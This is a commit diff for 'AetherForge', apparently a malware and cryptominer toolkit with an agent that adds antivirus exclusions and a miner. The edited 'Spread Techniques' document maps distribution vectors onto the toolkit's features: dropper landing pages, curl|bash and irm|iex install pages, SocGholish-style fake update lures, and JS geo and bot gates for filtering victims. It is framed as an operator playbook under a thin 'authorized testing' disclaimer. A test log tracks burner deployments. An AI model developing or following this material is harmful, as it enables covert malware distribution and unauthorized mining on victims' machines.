Release validation: tests green, USB pack, fleet UX and API hardening.

Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.

docs/SPREAD_TECHNIQUES.md

@@ -1,5 +1,7 @@
 # Web-Mediated Spread Techniques (Research Summary)
 
+> **Operator playbook (tabbed HTML):** [`/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html) on a running command deck. Emberwake links there by technique tab. This file is the research matrix source.
+
 > **Scope:** Documented red-team / threat-intelligence vectors mapped to AetherForge capabilities. For **authorized** penetration testing, lab environments, and defensive planning only. Sources cited below; landscape as of **2024–2026**.
 
 ---
@@ -24,7 +26,7 @@
 
 | Technique | Feasibility | Detection risk | AetherForge mapping |
 |-----------|-------------|----------------|---------------------|
-| **Dropper landing page** — button/link → `/get` or spread-kit ZIP | **Easy** | Med (URL reputation, TLS logs) | **Has:** `/get`, `/install.ps1`, `/install.sh`, `?pin=`, `?c=` campaign tags. **Needs:** `spread-kit-web-publisher` static templates (API exists; templates missing). |
+| **Dropper landing page** — button/link → `/get` or spread-kit ZIP | **Easy** | Med (URL reputation, TLS logs) | **Has:** `/get`, `/install.ps1`, `/install.sh`, `?pin=`, `?c=`; static kit at `spread-kit-web-publisher/` + `/spread/`; ZIP export via `POST /api/v1/builder/spread-kit-export`. |
 | **curl \| bash / `irm \| iex` docs page** — install instructions for servers | **Easy** | Med (EDR script block, proxy logs) | **Has:** `install.sh` / `install.ps1` with UA-aware `/get`, campaign env (`AETHER_CAMPAIGN`). Pin build via `?pin={build_id}`. |
 | **Fake browser / app update page** (SocGholish pattern) | **Medium** | High (browser update lures heavily signatured) | **Has:** dropper + spread-kit launchers. **Needs:** branded HTML lander, geo/UA gate, optional TDS. See [Trend Micro SocGholish](https://www.trendmicro.com/en/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html). |
 | **JS redirect / referrer gate** (search → your lander) | **Medium** | Med–High (injected-script hunting) | **Needs:** fingerprint JS in web-publisher kit; **Has:** campaign tracking on final fetch. [JSFireTruck](https://unit42.paloaltonetworks.com/malicious-javascript-using-jsfiretruck-as-obfuscation/) scale shows pattern is alive but noisy. |
@@ -81,12 +83,10 @@
 
 | Gap | Emberwake / web-publisher role |
 |-----|-------------------------------|
-| `spread-kit-web-publisher/` templates **missing** | Static site ZIP export via `POST /api/v1/builder/spread-kit-export` (404 today) |
-| Emberwake **UI tab** not in web app | Notes + campaign API exist server-side only |
-| No **fake-update** HTML kit | SocGholish-style lander |
+| No **fake-update** HTML kit | SocGholish-style lander — operator supplies branding |
 | No **JS fingerprint / TDS** gate | Filter bots, mobile, non-target geo before showing download |
 | No **OAuth redirect** helper | Entra app registration docs only |
-| No **package registry** publish | npm/PyPI/Docker supply chain out of scope for forge |
+| No **public registry** publish | npm/PyPI typosquat out of scope — use `npm-helper-export` on registries you own |
 
 ---
 

docs/TEST_RESULTS.md

@@ -1,9 +1,11 @@
 # AetherForge Test Results Log
 
-**Date:** 2026-05-27  
+**Last updated:** 2026-06-06  
 **Environment:** Burner Windows (single PC), Go 1.26.3, server on `:8989`  
 **Plan reference:** Complete Feature Testing Plan (Burner Windows + Uninstaller)
 
+> **Note:** Automated counts below reflect the 2026-05-27 burner pass. As of 2026-06-06 integration audit: `npm test` in `server/web` — **64 files / 572 tests PASS**; `go test ./internal/api/...` and `go test ./agent/client/...` PASS after Crucible/Path Tracer fixes.
+
 ---
 
 ## Phase 0–2 — Fixes & Uninstaller (Code Complete)
@@ -22,7 +24,7 @@
 |-------|---------|--------|
 | Go server | `go test ./...` (server) | **PASS** — alerts, api, builder (incl. uninstall script tests) |
 | Go agent | `go test ./...` (agent) | **PASS** — config, miner schedule/target |
-| Vitest | `npm test` (server/web) | **PASS** — 5 tests (forgeValidation F-01/F-02/AI-06, installPreview F-14) |
+| Vitest | `npm test` (server/web) | **PASS** — 572 tests / 64 files (2026-06-06); includes FileManager, crucibleOps, DashboardPage, MissionDeck |
 | Frontend build | `npm run build` | **PASS** |
 | API smoke | `scripts/smoke-test.ps1` | **PASS** — B-01 through B-10 (10/10) |
 | Live forge | `POST /api/v1/builder/build` | **PASS** — `install-smoke-test.exe` + `uninstall-smoke-test.ps1` (F-03, F-04) |
@@ -187,4 +189,6 @@
 
 **Still manual:** M-01–M-10 live deploy, F-11–F-19 runtime on burner, Ollama AI-09–AI-13.
 
-**Not implemented (low priority):** WebSocket ping interval from config, `log_pool_traffic` deep stratum logging, earnings USD quote.
+**Wired (2026-06-06 audit):** `websocket_ping_seconds` → `wsHub.SetPingInterval` in `server/main.go`; `log_pool_traffic` → `poolManager.SetVerboseTraffic` in `server/main.go`.
+
+**Not implemented (low priority):** earnings USD quote.